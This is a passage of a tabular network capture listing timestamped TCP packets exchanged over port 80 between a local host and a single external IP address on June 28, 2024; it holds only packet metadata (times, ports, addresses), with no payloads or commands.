Jun 28, 2024 22:32:03.760911942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760921001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760930061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760936975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760972977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.761254072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761265039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761275053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761285067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761291981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.761296034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761331081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.761363983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.761604071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761614084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761626005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761634111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761643887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.761670113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.761840105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761850119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761861086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761871099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761879921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.761881113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.761920929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.771051884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.771204948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.831875086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.831912994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.831922054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.831950903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.831986904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.832046986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832082033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832084894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.832093000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832120895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.832293034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832333088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.832335949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832348108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832379103 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.832617044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832627058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832637072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832647085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832655907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.832659960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.832679987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.832701921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842323065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842369080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842376947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842401981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842427969 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842484951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842494965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842525005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842560053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842679977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842690945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842704058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842715025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842741966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842861891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842875957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842885971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.842902899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.842937946 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843053102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843095064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843185902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843195915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843205929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843214035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843219042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843229055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843229055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843255043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843291044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843626976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843636036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843647003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843662977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843691111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843786001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843795061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843805075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843816042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843817949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843828917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.843854904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.843888998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.844212055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844221115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844232082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844242096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844249010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.844252110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844263077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844273090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844274998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.844283104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844293118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844319105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.844352007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.844923019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844933033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844942093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844952106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844960928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844965935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.844971895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844980955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.844990015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845000029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845010042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845010042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.845017910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845029116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845033884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.845038891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845061064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.845081091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.845916033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845927000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845936060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845947027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845952988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.845957041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845967054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845976114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845982075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.845987082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.845997095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846007109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846016884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846016884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.846028090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846035957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.846036911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846060038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.846082926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.846873045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846884012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846894026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846904039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846910000 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.846914053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846929073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846939087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846946001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.846950054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846961021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846971035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846980095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846987963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.846990108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.846999884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.847018957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.847045898 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.852704048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.852740049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.852747917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.852762938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.852787971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.852874994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.852885962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.852895975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.852905989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.852931023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.852956057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853132010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853171110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853198051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853235960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853322983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853332996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853343010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853353977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853363037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853389025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853569031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853578091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853586912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853610039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853629112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853790045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853797913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853809118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853817940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.853827953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.853854895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.854037046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854048014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854074955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.854093075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.854101896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854113102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854120970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854130983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854142904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854144096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.854156017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854166031 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.854648113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854665995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854671955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.854676962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.854686975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.854717016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.924679995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.924688101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.924698114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.924726963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.924751997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.924803972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.924814939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.924882889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925012112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925021887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925055981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925075054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925084114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925085068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925096035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925129890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925164938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925318003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925328970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925364971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925385952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925451994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925462961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925472975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925486088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.925507069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.925523996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935009003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935064077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935071945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935092926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935134888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935170889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935183048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935215950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935331106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935340881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935349941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935375929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935395956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935564995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935575008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935584068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935609102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935631037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935803890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935815096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935825109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935836077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.935849905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.935877085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936047077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936057091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936073065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936084032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936088085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936110020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936131001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936342001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936383009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936414003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936424971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936434031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936445951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936455965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936465979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936470985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936496973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936521053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.936986923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.936996937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937005997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937016010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937027931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937030077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937037945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937048912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937055111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937060118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937069893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937077045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937084913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937099934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937124968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937783957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937794924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937803984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937813997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937824011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937824011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937836885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937848091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937855005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937858105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937869072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937874079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937880993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.937901020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.937927008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.938958883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.938968897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.938978910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.938987970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.938998938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939007998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939008951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939018965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939028025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939034939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939038992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939049959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939059973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939062119 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939070940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939080000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939090014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939094067 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939100027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.939122915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939150095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.939774990 CEST	80	49731	85.28.47.4	192.168.2.4
